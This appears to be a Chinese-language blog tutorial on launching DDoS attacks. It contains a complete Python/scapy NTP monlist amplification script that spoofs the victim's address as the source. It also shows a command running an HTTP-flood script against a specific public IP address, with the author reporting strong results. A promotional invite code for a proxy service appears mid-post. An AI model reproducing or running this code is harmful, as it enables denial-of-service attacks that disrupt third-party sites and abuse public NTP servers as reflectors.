分布式拒绝服务攻击可以使很多的计算机在同一时间遭受到攻击,使攻击的目标无法正常使用,分布式拒绝服务攻击已经出现了很多次,导致很多的大型网站都出现了无法进行操作的情况,这样不仅仅会影响用户的正常使用,同时造成的经济损失也是非常巨大的。 [1]分布式拒绝服务攻击方式在进行攻击的时候,可以对源IP地址进行伪造,这样就使得这种攻击在发生的时候隐蔽性是非常好的,同时要对攻击进行检测也是非常困难的,因此这种攻击方式也成为了非常难以防范的攻击。 [1]
——以上内容来自《百度百科》
0x00 环境准备
这里我用py脚本为例,环境为linux/centos 7.6 64位 + python2.7
并且准备一台VPS
0x01 脚本准备
这里呢我准备了L4和L7的脚本拿来测试
以下为L4部分脚本代码(NTP为例)
# NTP脚本代码
#!/usr/bin/env python2
# vim: set fileencoding=utf-8 :
from scapy.all import *
import sys
import threading
import time
#NTP Amp DOS attack
#usage ntpdos.py <target ip> <ntpserver list> <number of threads> ex: ntpdos.py 1.2.3.4 file.txt 10
#FOR USE ON YOUR OWN NETWORK ONLY
#packet sender
def deny():
global ntplist
global currentserver
global data
global target
ntpserver = ntplist[currentserver] #Get new server
currentserver = currentserver + 1 #Increment for next
packet = IP(dst=ntpserver,src=target)/UDP(sport=48947,dport=123)/Raw(load=data) #BUILD IT
send(packet,loop=1) #SEND IT
#So I dont have to have the same stuff twice
def printhelp():
print("NTP攻击系统")
print("By 贰叁伍")
print("使用方法 ./ntp.py <目标ip> <ntp服务列表> <线程数>")
print("例如: ./ntp.py 1.2.3.4 ntp.txt 10")
print("NTP.txt应该包含了ip列表")
print("确保线程数小于或等于服务器数")
exit(0)
if len(sys.argv) < 4:
printhelp()
#Fetch Args
target = sys.argv[1]
#Help out idiots
if target in ("help","-h","h","?","--h","--help","/?"):
printhelp()
ntpserverfile = sys.argv[2]
numberthreads = int(sys.argv[3])
#System for accepting bulk input
ntplist = []
currentserver = 0
with open(ntpserverfile) as f:
ntplist = f.readlines()
#Make sure we dont out of bounds
if numberthreads > int(len(ntplist)):
print("攻击警告:线程数大于NTP列表数")
print("下次请不要使线程数大于NTP列表数")
exit(0)
#Magic Packet aka NTP v2 Monlist Packet
data = "\x17\x00\x03\x2a" + "\x00" * 4
#Hold our threads
threads = []
print("开始NTP攻击: "+ target + " 正在使用的NTP列表: " + ntpserverfile + " 以及 " + str(numberthreads) + " 线程")
print("按 CTRL+C 停止攻击")
#Thread spawner
for n in range(numberthreads):
thread = threading.Thread(target=deny)
thread.daemon = True
thread.start()
threads.append(thread)
#In progress!
print("正在发包")
#Keep alive so ctrl+c still kills all them threads
while True:
time.sleep(1)
0x02 运行脚本
使用Xshell登录服务器,运行L7脚本
科学上网加速,Google一堵墙,接下来测试脚本
科学上网加速邀请码:933D9C05EE67 2B15F4CE6B77 4B9E772BB0CE
配置脚本参数
./cc.py http://91.232.174.70/HIT -w 100 -s 100
回车运行
由于vps过于辣鸡 所以效果不是很好
换了一台后 效果拉满
以上只是测试了L7的脚本
下方有L4和L7的脚本测试,有需要的小伙伴可以查看